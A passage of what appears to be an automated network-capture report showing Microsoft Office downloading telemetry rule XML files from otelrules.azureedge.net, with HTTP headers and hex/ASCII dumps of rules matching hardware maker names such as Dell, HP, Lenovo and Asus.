2024-10-24 14:05:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0a92035d-201e-00aa-57da-213928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140519Z-16849878b78k8q5pxkgux3mbgg00000007q000000000kxdr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49781	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 734838af-101e-0065-4be5-214088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140519Z-16849878b78k8q5pxkgux3mbgg00000007tg0000000093pw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e5972945-801e-007b-45f3-24e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140519Z-15b8d89586flzzks5bs37v2b9000000003cg000000009z71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49782	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e1deb6d3-201e-006e-700b-22bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140520Z-16849878b78gvgmlcfru6nuc5400000007qg00000000hgbv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49785	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: f5652952-501e-00a3-1ef2-24c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140520Z-r197bdfb6b4tq6ldv3s2dcykm800000001h000000000nuw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49786	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140520Z-16849878b785jsrm4477mv3ezn00000007p000000000mrvh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49787	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140520Z-16849878b785dznd7xpawq9gcn00000000dg000000003fws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49788	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 1b2fb3ba-201e-0033-65ce-20b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140521Z-16849878b785jsrm4477mv3ezn00000007sg00000000asn0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49790	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:22 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: becd8068-601e-003d-7515-266f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140521Z-16849878b78ngdnlw4w0762cms00000007wg00000000bv00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49789	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 43a53b7c-f01e-005d-24fc-2413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140521Z-15b8d89586f42m673h1quuee4s0000000370000000008kyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49791	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1a83195d-f01e-0071-40f5-24431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140521Z-r197bdfb6b4kkm8440c459r6k800000001tg00000000psyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49792	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
